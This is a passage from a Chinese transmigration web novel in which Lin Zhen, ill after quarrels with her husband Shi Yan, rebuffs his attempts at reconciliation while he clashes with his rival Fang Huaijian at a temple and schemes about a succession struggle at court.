时彦想握住林蓁的手,他向林蓁走近,刚迈了一步,林蓁锐声道:“别过来!别碰我!” “我不想看到你,你离开静苑,你去侯府!” “我哪里都不去,我就在静苑。” “蓁蓁,你听我解释。”时彦走近林蓁,攥住了她的胳膊。 “放开我!”林蓁激烈地反抗,想甩开时彦的手。 时彦却似和她卯上了劲,毫不退让。他忍了一个月,终于等来天子口谕,现在谁都不能再赶他离开。 “蓁蓁,你对我有许多误解,你听我说。” 林蓁的脚踹踢在时彦身上:“我不要听!放开我!” “我让萧忱杀了你!” “我等着,我死了也是你的鬼!” 两人绞 缠在一起,拉着扯着踢着踹着口中呼喝着,云娘不知该帮谁,从未见过如此夫妻打斗,两人说的话更是惊心动魄。见林蓁情绪激动流着眼泪高声尖叫,是云娘从未见过的歇斯底里,她担心得不行,对时彦恳求道:“大公子,你先出去,我劝劝她。” 林蓁哭着骂着,她脸色涨红,满脸涕泪,不断尖叫的声音变得嘶哑,时彦第一次见识什么是疯狂,他想松手,又有些不甘,就在时彦犹豫时,林蓁忽的软下身子倒了下去,时彦忙把人抱在怀里。 林蓁软绵绵的像一团云朵,却是一团火烧云,烫得时彦心口直颤。 林蓁病了,发起了高烧,在床上昏睡。 她整日整夜说着胡话,梦里大叫大嚷:“别过来!讨厌你!放开我!” 云娘又急又心疼,寸步不离守在林蓁身边。 时彦也想和云娘一样照顾林蓁,可林蓁对他反应实在太大,大夫也说林蓁魇着了,他只得退而求其次,在外间远远看着。 他告假两日帮不上忙,只得正常上值,每日回来直奔卧房,问问云娘林蓁情况,远远看她两眼。 不知事情怎么发展到这般田地,好在他没再违背林蓁想法,不再出现在林蓁视线中,林蓁躺了一周神智才渐渐恢复,总算慢慢好起来。 这期间,毅勇侯夫妇还有英国公府林若柏陈氏都来静苑探望。他们都知道了天子口谕,知道时彦林蓁闹矛盾,只是不知道原因,见林蓁病着不认识人,都极为担心。 时姝也来探望林蓁,自从林蓁日日去御史台,时姝和林蓁联系大为减少,她刚知林蓁和时彦闹矛盾生病的事,心里担心又不解。 她刚来探望时,林蓁人事不省,时姝不管她能否听见,坐在林蓁床榻边和她说话,后来林蓁慢慢有了意识,时姝来得更为频繁,坐在她身边给她讲自己遇到的各种有趣之事。 第79章 第 79 章 怎样才是真心喜欢? 倚靠在床榻上, 听时姝闲聊时,林蓁常常走神。 怎么会病这么久呢,简直是一件不可思议之事。她懂基本药理,常常煮些药汤喝, 身体素质向来很好, 印象中大病一场只有幼时落水后高烧那次。 或许像一根琴弦, 绷得紧绷得久便断了, 在知道穿书以后,突然觉得自己变成一个纸片人, 爱恨情仇变得虚无缥缈,自己曾经那些情感上努力随风而逝,唯一可以抓住有所寄托就是成为梅棠那样的人。 想从烂泥坑情感陷阱中爬出来,对和离有太重企盼,急切希望和过去划上句号, 与过去的人和事切割, 抹去过去不堪记忆重新成为一张白纸,却是这样一个结果。 但看着时姝笑语嫣然天天来探望, 林蓁忽然间释然了。 时姝是时彦妹妹,若真能与时彦和离, 也要和她切割清楚从此再不往来么,林蓁不想如此。 生命就是这样矛盾, 给予婴孩的生也可能带来母体的死, 给予人间欢笑也会有不堪忍受的痛。她在这个神奇时空重来一回, 感受生命的不顺从,重新体验人间诸味,重新感受爱,何其幸运多么美好, 如同享受阳光必然要忍受黑夜,有春风沉醉亦有冰封千里,林蓁看着时姝笑颜,这样活泼灵动美人天天陪自己说话逗趣,时彦带来的那些苦痛愤懑似乎都被抹平了。 林蓁想到萧忱,若有时姝这般陪他,他那常常乌云压顶神色定会漏出一丝天光吧。 而且他和时姝在一起,毅勇侯府今后命运应该不会太惨。皇权斗争,萧忱踩着尸山血海迈向他的宝座,天子的拥趸早在皇子们明争暗斗中树倒猢狲散,毅勇侯和时彦虽逆了小说中命运,可跟随年迈昏聩天子怕是没有太好结局,时彦早看明白这一点,才拼命找退路。 林蓁问时姝:“母亲可又安排给你相看了人家?有看中的吗?” 过去谢氏给时姝张罗青年才俊时,不管提到谁,时彦总是各种挑剔,那时林蓁以为时彦是宝贝妹妹,谁都瞧不上,现在明白其深意,林蓁也担心时姝看上其他人,错过了萧忱。 时姝正绘声绘色讲着她刚刚看过一个话本子,突的被打断,还被问这样问题,脸上顿时起了红晕,她挑眉道:“我才不想去相看,在家好吃好喝,谁想去天天看账本晨昏定省伺候一大家子人!” 林蓁淡笑:“好好好,我就怕你出嫁,再没人陪我说话。” “我当然愿意找你玩,可你病着才如此,等以后你做了女官,没人和我玩,母亲必催我嫁人。” 林蓁浅浅一笑:“你性情可爱,容貌殊盛,天下再没胜得过你的女郎,我看只有皇家才配得上你,嫁入皇家,也不用你看账本伺候人。” “啊?”时姝睁大了杏眼,旋即嗔怪道,“你可别取笑我了,没有的事。” “没有的事?” “没有,没有,我谁都不想嫁,”时姝倾身倒向林蓁,想捂住她的唇。 林蓁笑着躲开:“好不说了,不说了,说正经的。” 时姝这才放开她。 “你这么可爱,一定要找个真心喜欢你你也喜欢他的人。” 这是什么正经话,时姝腹诽,不过她的确很想知道,时姝问:“怎样才是真心喜欢?” 林蓁垂下眼眸想了想,曾经她和飞飞是怎样的呢。 “见不到你他就会想你,他做什么事都会想到你,他的人生计划里有你,他会考虑你的喜好做决定。” 时姝若有所思:“那哥哥真心喜欢你呀。” “自从你病了,我看他魂不守舍的,以前母亲病了他都没这样过。” “其实,是哥哥让我天天来陪你,和你说话,逗你开心。” “他下值了也不进来,就在外间呆坐着,可怜兮兮的。” 时姝还想说,林蓁语气黯然,打断道:“不提他了好么。” “噢,”时姝收了声,一时也不知道说什么。 她不明白,曾经在英国公府说亲时,林蓁眼眸明亮,那么热切那么笃定。 “我和你哥哥,永远不会分开。” 到底哥哥做了什么,让她伤心到大病一场呢。 “等我好了,你陪我出去转转罢?” “好啊。”时姝不假思索答应,虽然现在林蓁不高兴哥哥,但时姝看得出来,哥哥很在意林蓁,那她一定会把着机会尽力撮合他俩。 她哪里猜得到林蓁心思,也想着若有机缘,给她做红娘,与萧忱牵上红线。 过了周余,林蓁身体恢复得差不多,这一段时间,时彦再未出现在她视线里,他的消息,都是偶尔从时姝云娘口中得知,而时姝云娘知道她的病因,很少主动提及。 但其实林蓁能感受他的存在。 她熟悉他的脚步声,知道病时他每日会在外间安静地呆一段时间,直到她睡着才离开。 有时她睡得浅,不知是梦还是现实,时彦似乎就在身边,等她睁眼时,只看到屏风上人影一晃而过。 有时她能听到他和云娘或者丫鬟喁喁低语。 他的行止委委屈屈的,他总是有这般手段,知道他的心机明白他的目的,却还是让人心生怜惜。 即便林蓁一遍遍告诫自己,狠下心肠不为所动,可云娘欲言又止的模样,飘忽不定的眼神,都在和她说话,“他好可怜,和他说说话罢。” 这日晚间,林蓁用过饭靠在床榻上看书,见云娘拿着抹布,擦着丫鬟们白日擦过一尘不染的梅花多宝柜,眼神时不时往窗棂上瞄。 林蓁往窗棂上扫了一眼,廊檐灯笼昏黄光线在窗棂上落下一个人影,不是时彦又是谁。 自她病好了,他也没再外间呆了,晚间只在廊檐上晃来晃去,生怕她不知道。 云娘似自言自语:“这都十一月了,外面寒气重的哟,一不留神恐要冻坏。” 林蓁收回目光,兀自看书。 林蓁刚翻了两页,“哗”一声响,门扉被风吹开,一股寒气涌进外间,云娘埋怨道:“碧竹这丫头,门不带好。”她放下抹布,绕过屏风去关 门。 窗棂外时彦突然咳嗽了一声。 林蓁听到云娘迈出了门,和时彦窃窃私语什么,很快云娘又进了屋,窗棂上人影依旧。 见云娘进来内间,林蓁把头埋低了些,不去对视她的目光。 云娘又拿起了抹布,她似乎要说些什么,可还没开口,时彦又咳嗽了两声。 云娘目光落在林蓁身上,她急道:“你让他走也成,冬日夜里别站外面,冻着了这里都没人手照顾他!” 林蓁往窗外瞅了一眼,黑乎乎只有廊灯昏黄和孤零零的他。 “有什么话进来说。” 印在窗棂上的人影未有变化。 “时彦。” “大公子快进来!”云娘对着窗棂唤。 下一刻,时彦似会瞬移大法,人影忽的一下闪现在门扉上。 第80章 第 80 章 流水东去,覆水难收…… 云娘退到屏风后的外室轻轻带上门, 时彦绕过屏风,脚步顿了顿。 “我就站这儿。” “你就站那儿!” 见时彦自觉地站在屏风边,林蓁睇了他一眼,半月不见, 他身材极为清减, 陡然看去生了病似的, 林蓁不由得多看了两眼, 时彦双目炯炯有神精神挺好,林蓁目光落在他的衣袍上, 室内已生了碳火,时彦却只穿了件夹袍。 林蓁皱眉:“故意穿这么少?云娘可怜你,我可没有。” 时彦的手虚虚地在唇边掩了一下:“不是,不冷。” “那你咳嗽什么?” “是不是做什么你都要算计?这已融入你的骨子里?” “当然不是,只是我会做好计划, 这是好多年的习惯。” “商事活动都不会打无准备的战, 逐渐形成习惯。” 林蓁不想和时彦多说,他擅长狡辩转移话题, 好似无师自通的卓绝辩手,随时可以把人绕进去。 “在廊檐晃荡这些天, 你计划些什么?” “想如何向你道歉,让你大病一场我实在没想到, 以后我不跟你吵, 都听你的。” 林蓁接茬:“那你去侯府住?” 时彦迎着林蓁目光:“除了和离和赶我走的话, 其他都听你的。” 那就没什么话可以与他说,林蓁撇过脸,不再看他。 “那天我说解释,我确实许多话与你说。” “过去我所作所为都和你详细说过, 我确实别有动机,但人从来不是一成不变,遇到各种意料外之事而改变想法,不是很自然的事么。” “在和你成亲之前,我的想法就有很大变化,你知道的,那些和你父母有关的事。” 听到提起前世父母,林蓁扭头喝道:“别说了!” 时彦乖乖闭上嘴。等了一会儿,见林蓁靠在床榻上垂着眼皮掰着手指头,没有撵自己走的意思,时彦继续道:“是我求父亲,让他向天子请一道口谕,两年时间,我想你看到我的真心。” “人可以装一时,可没法装一世,蓁蓁,给我一些时间。” 林蓁:“你赌我不会去找萧忱,所以来这一出?” “等到明年春闱,我弟弟考上进士,我不会再去等什么两年。” 时彦闻言怔了怔,神情有些落寞:“蓁蓁,怎样你才会相信我,重新接纳我?” 林蓁对上时彦目光,他的眼眸似闪亮的琉璃宝珠,闪亮着说不出的哀愁郁结,如果只看这张脸,很能激起林蓁的怜惜之情答应对方请求,谁能忍受如此俊美的一张脸终日被愁绪笼罩不得展颜欢笑呢。 可林蓁多次见识这副美貌之下隐藏的狡黠和腹黑,林蓁避开时彦目光,诚恳道:“你到底明不明白,我们没法儿回到过去,我对你的信任已经坍塌,流水东去,覆水难收。” “不是我给不给你时间,你勿需那样做,信任和爱意讨好不来。” “如同当初我对方怀简,无论我做什么,也打动不了他的心。” 提起方怀简,时彦心火直往上窜,但现在他是林蓁心头好,时彦忍下心中怒意,问林蓁:“没有方怀简,根本没有这些事,你就是放不下他,对吗?” “我哪里比不上他,除了认识你晚一些,相处时间没他长,他哪一点比我好?” 林蓁语气越发冷淡:“他没有你好,你对我太好,好到完美无可指摘,完美得像戴了假面,让我无法不联想到罂粟花会带来的毒瘾,你想我痴迷于你,迷醉在你的世界,以你为先,唯你是从,心甘情愿做你的傀儡,以此为乐。” 时彦语塞,想起曾经的确有此想法,希望林蓁对自己心醉魂迷,有一阵子林蓁似乎就是如此,自己浸染其中如同饮着清酒,甜蜜微醺头脑清醒,仿佛万事掌控于股掌之上,可这样的春风得意如同昙花一现,现在自己苦苦挽留什么呢。 不甘败于方怀简? 还是留恋昔日她的痴迷缠绵? 或者无法忍受得到后再失去? 又或为了曾经的承诺? 时彦有些分不清,但唯一确定的是,不是因为林蓁的公主身份。 过去那些念头似回旋镖戳中了自己,时彦道:“现在我没有这些想法,我只想这个时空我们好好做夫妻,你不要抛下我。” 时彦语速缓慢,似思考得仔细,认真剖析自己的魂灵,高大清减身量配上支离破碎的神色泫然欲泣声音,恁是脱离凡尘的神仙也要被其打动,偏生林蓁大病一场后心思通透得似块水晶,本质变成一块顽石,林蓁道:“和离前我也不说赶你走的话,我们安安静静过完这段日子,分开前彼此留点儿念想。” “我想休息了,你且回罢。” 时彦有些木然,他终于等到她心软时刻,让他进房间面对面说话,两人似乎敞开了心扉,可她的举止分外排斥,她的神态极其冷淡,她懒得看他,说的话冷冰冰似雪天冰雹冷硬得砸在自己心上,砸得千疮百孔,冷得毫无知觉。 她与他的距离,似乎更远了。 没几日便是冬至,建安帝在这一天举行了祭天大典,典礼结束的午后,时彦和时隽时姝用了午饭,来到皇城里一处寺庙章化寺祭祖。 章化寺既不是皇城香火最盛的寺庙,也不是最灵验的那个,只因它是小说中冬至日萧忱和时姝约会之处,时彦想来碰碰运气。按小说中进程,此刻两人已经心意相通,可现实里时姝大概想不起萧忱是谁。 过去毅勇侯府从未到章化寺祭祖,毅勇侯夫妇坚持家祭,林蓁根本不愿跟随时彦出门,时彦带着弟弟妹妹在章化寺祭祖后四处闲逛。 “哥哥,你不是说这里景致别具一格么,哪里有?” 时姝眼里,这座寺庙平平无奇,和皇城里任何一座寺庙相比,毫无特色,甚至有些逊色。 时彦目光到处逡巡,大雄宝殿右前方有棵硕大菩提树,枝叶舒展繁茂非常,树枝上挂满红色许愿带,时彦指着菩提树胡诌道:“看到那棵树没有,菩提树,佛祖曾在这棵树下冥想,这棵树据说引自西方佛祖故土,有千岁之久。” 时隽时姝顺着时彦手指方向看去,这样的树其他寺庙也有,时隽嗤笑一声:“哥哥,你不信神佛,怎么对这座小庙这么了解?” “听同僚说起,特别提到这棵树,这里许愿特别灵验,”时彦拉上时隽胳膊,“走,我们都去挂条许愿带。” 两人正要迈步,就听时姝道:“那不是方二哥吗?” 大雄宝殿正门里走出一位年轻男子,阳光耀着他的脸,玉似的一个人,清雅翩翩,正是方怀简。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 80-90 第81章 第 81 章 他算什么东西! 时姝刚说完就后悔不迭, 今日不同往昔,方怀简什么人,对着自己哥哥白刀子进红刀子出的人,这会儿仇人相见分外眼红?她急忙看向时彦, 他倒没有躲避的意思, 目光直直看向方怀简, 脸上没什么表情, 但也没了刚刚轻松神采,时姝再看向方怀简, 他显然也看到仨人,缓步下了大雄宝殿台阶,正往仨人方向来。 时姝很有些忐忑,这是方怀简在自家门口大闹一场后和哥哥首次见面,两人心里应该都不怎么痛快, 哥哥求了圣旨把林蓁强绑在身边, 方怀简也被家人安排强行娶了表妹。她目光在两人身上扫来荡去,两人面色淡然, 倒不是剑拔弩张马上要打架模样。 “我们不去挂许愿带么?”时姝问。 两兄弟对时姝问话置若罔闻,时隽见方怀简越来越近, 忙向方怀简迎去,挡在了方怀简和时彦中间。 时隽问方怀简:“世之, 你怎么会在这里?我们可都是第一次来。” 方怀简脸上现出淡淡笑意:“我受惠王所托, 来此处帮他做些事。”目光在时彦面上停留些许, 神气自若和他对视片刻后,又看向时姝,关心道:“时姝,许久不见, 这章化寺里可遇到什么新鲜玩意?” 虽不搭理哥哥时彦,但方怀简语气正常,态度和缓,时姝心下石头落地,她回道:“这里没什么特别的,我们正要去挂许愿带,方二哥你可有什么心愿,我们一起去挂。” 方怀简哂笑一声,目光落在时彦脸上:“这里只是门可罗雀的小庙,便是挂上许愿带,愿望也不会实现。与其挂许愿带,不如把愿望说于我,兴许我还能帮上忙。” 毅勇侯府诸人都知晓方怀简如今跟在惠王身边做事,时隽偶尔去方府找他,也常常落空,据说惠王府备有方怀简厢房,有时晚了他不回方府在惠王府休息。 可即便如此,他也不过才跟随惠王几个月而已,便有如此大的口气帮人实现愿望,时姝一点儿不信,面上半真半假笑道:“寺庙里讲究心诚则灵,我的愿望只能求佛祖,方二哥半点都帮不了。” “是啊是啊,反正过节,热闹好玩凑个趣。”时隽难得地十分配合时姝,就要拉方怀简胳膊往菩提树走。 “若是求姻缘”,方怀简看着时彦淡笑,“那确实得求我。” “如今我跟随惠王做事,身边不少青年才俊稳扎稳打能文能武,比翰林院书呆子强上许多。时姝,你若是看上谁,方二哥给你牵线。” 他虽和时姝说话,视线却未曾看向她,目光始终在时彦身上。 时姝时隽自然明白,八成林蓁惦记着方怀简才闹和离,就算不是惦记也一定和方怀简脱不了关系,哥哥时彦若想求姻缘稳妥,不就得求方怀简别作妖么。 按方怀简过去脾性,他怎可能主动和时姝说这些话,时姝明白,他是说给哥哥听的,便给时隽递眼色。 时隽笑道:“惠王身边的人各个人中龙凤,我们泥腿子出身,时姝头脑空空粗枝大叶,哪里配得上。” 时姝给时隽翻了个白眼。 方怀简收回目光,看向时姝,口气很有些语重心长:“时姝,你喜欢的人自己得上心,他怎样对你,你自己最清楚,莫要被身边人借口爱你为你好棒打鸳鸯。” “就是最亲近的人,面对巨大诱惑,也可能卖了你!” 时姝笑:“方二哥说得很是。” “看看每次媒人来你家,谁蹦跶得最厉害就知道了。” 就差没说时彦二字。 时姝哪能不明白,方怀简处处针对哥哥阴阳怪气,她并未往心里去,走到菩提树下小沙弥摆的方桌前,选了几根许愿带,一一拿给几位哥哥。 “财运滚滚给你。”时姝将红带递给时隽。 “早生贵子给你。” 时彦抿紧唇角接过时姝手中红带。 “官运亨通步步高升给方二哥。” 方怀简背着双手并未接过。 时姝并不气恼,看着方怀简笑语嫣然:“方二哥不信这里小庙,那这是我对方二哥的愿望。” 仨人借着小沙弥的木杆把许愿带挂上菩提树,微风吹过,许愿带飘飘落落,时姝仰头看着刚刚挂好的许愿带,拍手笑道:“很好很好,来年就知道灵不灵,灵验的话我以后年年都来。” “别的不知道,你哥哥的肯定不灵。”方怀简双手抱臂于胸前冷声道。 早生贵子是不大可能,别说现在哥哥和林蓁关系僵硬,就是以前,林蓁要考女官应该没这个打算,时姝懊恼选了这样一个许愿带,又给方怀简夹枪带棒的机会。 “时姝,你天生好命,你帮哥哥选的,来年定然实现。哥哥今晚就努力,定让你明年抱上小侄子。” 时姝脸都红到了脖子根,岔开话题道:“我们到那个放生池看看金鱼罢。” 方怀简冷哼一声:“梦得醒。” “你说什么?”时彦挑眉,硬声质问,“我与林蓁结发夫妻同床共枕,轮得到你心谤腹非?!” 他从未对方怀简歉疚过,虽然他曾经冒充飞飞,可严格说来,若不是后面一系列巧合事件,任凭林蓁如何死缠烂打方怀简,他都不会娶她。相反,方怀简能够想起前世,应该感谢自己才是。 何况他还丧心病狂刺伤自己,没报官已是看在林蓁面子上对他最大的善意。 他哪来的脸在这里怪腔怪调。 若是以前,方怀简白日在翰林院写写文书,下值后和时隽吃喝玩乐,还称得上林蓁口中“毫无心机纯善之人”,可他来到章化寺,分明故意阻断时姝和萧忱见面机会,他早就不是林蓁心中所想至情至性随心所欲之人。 他的欲和自己的欲不过半斤八两,以前他没有,只因他出生在福窝,出生即拥有,若他像自己一样,既无家世亦无靠山更无钱财,他会像自己一样小心算计步步为营。 现在不就是如此,他为了他的欲一样不择手段,主动谋算。 时彦突然间豁然开朗,以前面对林蓁咄咄逼人,他虽坚持可偶尔也难免泄气,觉得自己和方怀简比起来矮人一等,可此时此刻,他俩不都是心思龌龊的一丘之貉。 既然如此,林蓁选择他不如选择自己,好赖这世两人结发夫妻也曾恩爱两不疑。 方怀简冷眼看向时彦:“我可不是心谤腹非,我抗颜高议。” “漫漫人生路,你和她不过交叉同行短短月余而已,还是你刻意迎合。她今后人生再不会有你。” 眼见两人要擦枪走火,时隽连忙拉上方怀简往门口放生池快步走,“我们到前面去看看”,又像时姝拼命眨眼。 时姝见状,赶紧走到时彦面前,攥着他的衣袖不让他迈步。 时彦心中燥火时姝哪里能拦得住,两辈子没受过这种窝囊气,就算在户部当差面对上峰常常委曲求全,可上峰对自己从来客气有礼。 他方怀简算什么东西!从未入眼过! 他目光四下扫视,带着时姝向侧面两步走到小沙弥摆的方桌前,一把抓起桌上砚台向着方怀简后脑猛地投掷过去。 他可是铅球好手,这个投掷不让他方怀简脑震荡躺床上一个月他不姓时! 簌的一声,眼前黑影一闪飞向方怀简,“啊!”时姝惊恐得叫出了声。 “见了阎王,她梦里都是你!” 时隽本就边走边看,唯恐哥哥快步追来,看到突然飞来一个黑影,他遽然按下方怀简的头,砚台飞越过方怀简头顶,摔在方怀简身前不远处,四分五裂。 方怀简顿时脸色铁青,扭身就要往回走,可时隽力大如牛,牢牢攥住他的腰不让他后退一步,相反又拉又拽把方怀简往大门方向拖行。 菩提树下,两个小沙弥也看呆了,为了不扰佛寺清静,他俩遵着时姝吩咐也扯着时彦不让他走。 “哥哥,你再和他打起来,你进不了静苑的门!”时姝绞尽脑汁劝说。 “方怀简,你记着!再见我一笔笔算账!”时彦冲向方怀简方向吼。 “我等着,一切才开始!”拗不过时隽,方怀简站直身体冷冷看了时彦一眼,转身阔步往寺庙大门离去。 若不是林蓁给他捎话,让稍安勿躁一切等明年春闱后再说,在知道毅勇侯府求了道圣旨捆绑住林蓁时,方怀简第一时间就想向萧忱吐露一切。 也没几个月了,方怀简忍下这口气,他的计划才刚刚开始,时彦的 国舅梦,驸马梦,美得他!通通都给他凉得透透的,他值得! 目送方怀简马车离开,时隽才松了口气,他转头看向章化寺大门,时姝抓着时彦衣袖正紧张往这边看。时隽长长叹了口气,吐出气息在冬日里即刻化作白色雾气,让走来的时彦面目变得模糊。 他真是越来越不认识这两人了,澹泊寡欲的方怀简竟去追名逐利,坦荡言语变得阴阳怪气,泰山崩于前而色不变的哥哥居然时不时摔盏摔盘,爱情真不是什么好事,让人变得面目全非。 “我们都做时姝马车回家”,生怕时彦骑马再生出什么事,时隽连推带塞将时彦赶进了时姝马车。 马车启动,车轱辘辘辘滚动声让车厢里显得格外安静。 时姝掰扯着手指发了一会儿呆,似自言自语道:“以后见了方二哥,绕道走罢。” 时彦冷声:“怕什么,以后惠王夺嫡成功,难不成我们离开皇城,躲得远远的?” “惠王,夺嫡成功?”时姝心慌,这怎能随便议论,可又忍不住打听,毕竟哥哥们身在朝中消息灵通,“那我们爹爹怎么办,我们家投奔谁?” 第82章 第 82 章 唯你马首是瞻 有父亲和哥哥们护着, 时姝向来心思大爱玩乐,不太关心朝中事,可她也知道,父亲若是投奔了谁, 守卫皇城安全的金吾卫大将军有了投靠之心, 那皇城离变天也不远了。 夺嫡之争关系父亲前程, 与毅勇侯府每个人的命运息息相关, 时姝问:“比惠王身份贵重的还有好几位皇子,怎么惠王就能够成功, 哥哥,你怎么看出来的?” 时彦不应时姝,反而问时隽:“方怀简和你提过他为何突然投靠惠王?你看惠王夺嫡胜算如何?” “更好的前程?”时隽嗫喏,方怀简如此和他说,他一直半信半疑, 因他的剧变都在和时彦大闹一场之后, 很难说他不是因为林蓁或者别的什么,只是这些心思方怀简应该再不会亲口向他吐露。 在时隽眼里, 方怀简在翰林院做事已是前途光明,投奔惠王难道为了从龙之功?惠王成事后, 以方怀简的才干,以后便是一人之下万人之上权臣?时隽不敢想象, 这如同一场豪赌, 赢了通吃, 输了黄泉上路,他并未看出惠王在皇权争斗中的绝对优势,何况当今天子看起来并无任何羸弱之相,不过四十来岁年纪, 再活个五年十年似乎没什么问题。 “我哪有那个能耐,看得出谁能夺嫡成功,但方怀简投奔了惠王,以他们家世代簪缨的眼光,应该错不了?” “方怀简和你好了这么多年,现在终于醒悟去做正经事,你也得好好想想,一朝天子一朝臣,难道一辈子在神策军做个小都统?” 时隽挠了挠腮:“我和方怀简哪能一样,他榜眼开局,我凭着老爹恩荫有个都统,我想有什么用,我上面还有好多人,天塌了也是他们顶。” “那些人把你们这些底层武官都当工具人使,需要造势的时候,拉你们出来遛遛,完事了论功行赏时哪儿凉快你们去哪儿”,时彦提点道,“太平岁月可以随波逐流,天子更迭时可不行,没有战打没有军功就得另辟蹊径,时势造英雄,千载难逢机会就像咱们父亲当年救驾一样,成功了就封侯拜相,你不抓上转瞬即逝实在可惜,你好好想想跟谁。” “真要变天?”时隽怀疑,当下四平八稳日子他从未看出暗流涌动,不过他衔职低,得到消息有限,这种事情想来哥哥不会玩笑,时隽自嘲道:“我投奔惠王,人家也不缺我一个小小都统。” 时彦唇角微微翘起:“不如跟随咱们老爹,他是陛下死忠,你在神策军知晓什么风吹草动,赶紧给咱爹通风报信,内有咱爹镇守皇城,外有京畿神策军誓死捍卫,内外配合,无论哪个皇子都翻不了天。” 时姝不解:“哥哥,你不是说惠王夺嫡成功么。” “成功与否都得老实地排在当今天子之后”,时彦对时姝道,顺手拍拍时隽肩膀,“陛下身体尚可,可若是被几个皇子合谋算计,哪天暴毙,咱们日子就难过了。” “暴毙?!”时隽瞳孔地震,这种谋逆之事他做梦都不敢梦。 “是,咱们跟随老爹,不是简单拥护,得提防天子周围护他长命百岁,才有咱们好日子过。若皇子们联合闹腾逼宫,正好借坡下驴借刀杀人,替天子将那些逆子叛臣清理个干净。” 时彦言语轻描淡写,这些都是日后重要剧情,皇子们夺权过程中会谋害天子,只是小说中并未具体写出究竟哪位皇子下的毒手,萧忱利用这一点把自己竞争对手都和谋逆戕害大罪捆绑,最后得臣子们拥护荣登宝座。 现在他和方怀简之间都是明牌,很显然方怀简会助力萧忱,加快这一进程,而自己进不了萧忱队伍,无从揣摩方怀简真实内心,到底仅仅为他的前程还是报复自己?时彦自然不会坐以待毙,只能铤而走险来个釜底抽薪,把这些争权夺利虎视眈眈的皇子们一锅端。 其实时彦心里没底,但已然没有选择,他和父亲的前途再没有剧本,唯有认真走好这唯一一条生路。既然他和父亲都能逆天改命,时姝几次三番努力制造机会却连萧忱的面都见不着,谁说今后就一定会按剧本走,萧忱就一定会走上人生巅峰呢。 身边的人,有一个算一个,都得支楞起来! 时隽时姝听到哥哥的话都惊呆了,哥哥时彦人畜无害模样却说着世上最可怕的话,若不是兄妹俩了解时彦,他们一定会认为时彦突然得了失心疯。 他们是谁,时隽时姝从来很有自知之明,往上数三辈就是面朝泥土背朝天彻头彻尾泥腿子,敢有这个想法能有这样实力去对各个皇子“清理个干净”?! 时隽眼睫毛还未从震惊中恢复如常,下巴合不上嘴甚至不由自主颤动起来,时隽右手轻抚着下巴想让它合上,指腹感受着根根胡须的刺激。 时彦面相一如往常,平静冷静,时隽心里却有越来越多陌生感,也说不上这种感觉好坏。过去时彦经商挣钱户部做事就够让时隽吃惊,现在他不仅做好分内之事,还要操心天下,为大周长治久安操碎了心! 时隽想了良久,可脑子里一团浆糊没想出什么名堂,他艰难地问了一句:“就我们俩,就毅勇侯府,能行么?” “若天子暴毙,咱们手握重兵的老爹还能继续稳坐钓鱼台,服务下一茬皇帝?足够幸运或许还能有个一官半职,更大可能被牵连或者背锅掉脑袋,至于你我脑袋还在不在”,时彦摸摸自己脖颈,“得看皇子心情。” “你看我们家像幸运儿么。” 毅勇侯府一切都是老爹搏命哥哥丢了半条命呕心沥血挣出来的,时隽回想,和幸运实在不搭界。若皇子们都有夺嫡心思,而老爹一根筋就不站队或者站错了队,丢脑袋的事定是老爹首当其冲,他们家就靠老爹搏命,没有大山可靠也不是老树盘根,遇到暴风骤雨朝堂上最先拿来祭天杀鸡儆猴的就只能是自家泥腿子老爹。 他默了一会儿想清其中门道,黯声应道:“哥哥,以前我说过,唯你马首是瞻,现在将来,我初心不变。” “我们和老爹利益捆绑,只能一条路走到黑。要死一起死,要活一起活”,时彦语气罕见的与往日或轻松或沉稳不同,明显有些沉重,“但我相 信,我们走的是生路。” 时姝在一旁默默听着,没明白本来只是说着方怀简,怎么就绕到这么沉重话题,前路宛若充满了危机和陷阱,就连车外阳光似乎也暗淡了几分。 见两位哥哥陷入沉默,时姝问时彦:“哥哥,皇子争权,殃及鱼池我们么?” “若天子寿终正寝定下了太子,我们还不至于,可若天子被谋害,我们命运就难说。” 谋害,时姝从未想过的字眼,可哥哥时彦说得仿佛血流成河的杀戮就在明天,时姝小心翼翼低声问:“哥哥,你是不是也看好惠王?其他皇子都会死么?” “惠王很有实力,方怀简带着方大将军一干嫡系助力,惠王如虎添翼,其他皇子若威胁到他,自然不会有什么好结果。” “你读过史书,皇权争斗中父子相残兄弟阋墙实在太稀松平常。” 时姝明白这些道理,只是人在不安时,总希望能从周围熟悉的人中获得与自己想法一致的安慰,就像抱团取暖,她只是不希望不相干的皇子也和其他人一样殊途同归。 “不去争抢也会死?” “那得看得位者心态,或许全杀了永绝后患,或许就放着以彰显天子大度。” 时姝潜神默思,两位哥哥各有心思并未留意她与平日的不同。 * 休沐日,时姝到静苑找林蓁玩儿。过去时彦和林蓁关系好时,时姝不会在休沐日打扰小两口甜蜜,现下两人尴尬处着,不仅时姝还有毅勇侯夫妇,都希望时姝陪林蓁解闷,见缝插针帮着时彦说和。 已近十二月寒风凛冽,室外寒气逼人随便站站便一身寒凉,时姝在暖烘烘书房里帮着林蓁整理书籍说着闲话。 “林蓁,你真要明年考女官?”自从听到哥哥们对天子更迭议论,时姝心里时不时冒出惴惴不安的念头,似乎前路每一步都如履薄冰。 “怎么突然问起这个”,林蓁浅笑,“明天开春就开始,我肯定不会错过。” “哥哥们提到一些事,想来不会错。”林蓁和时彦虽然闹和离,但时姝从来把她看做自己人,她没有隐瞒,把时彦时隽的担忧和打算一股脑儿都和林蓁诉说。 “这个时候你考女官,朝堂风雨飘摇,指不定你的上峰哪天受到牵连你也跟着歇菜,心中抱负满腹才华蹉跎浪费,不如再等等,等局势明朗至少天子确定下太子,你再去大展拳脚。” 林蓁心下感激时姝为她的谋算,她说的极有道理,只是林蓁不想再在毅勇侯府蹉跎岁月,不去考女官,就只能整日在府中面对时彦大大小小事务,这样的日子她一天也过不下去,她想去看外面的世界,去听,去感受,去改造。实在不行,她还有公主身份护身符,她没有任何事可惧。 “考上了我也不过是个小吏,任皇城如何动荡新帝无论是谁,总需要做事的人,放心,波及不到我这种小喽啰。”林蓁轻松地笑。 时姝仍是不放心,林蓁没有亲耳听到哥哥们的话,大概不晓得其中厉害,她是毅勇侯的儿媳妇,天然就有政治立场,由不得她本人意志,她怎可能脱离侯府独善其身呢。 时姝还想说什么,林蓁问道:“时彦时隽怎么会在你面前说这些?” 过去在毅勇侯府居住时,林蓁知道毅勇侯府男人们脾性,朝堂之事不会在女眷面前提及,一是担忧女眷们管不住嘴,再则不想女眷们为此挂心烦忧,她们知道了也无法做什么,徒增烦恼。 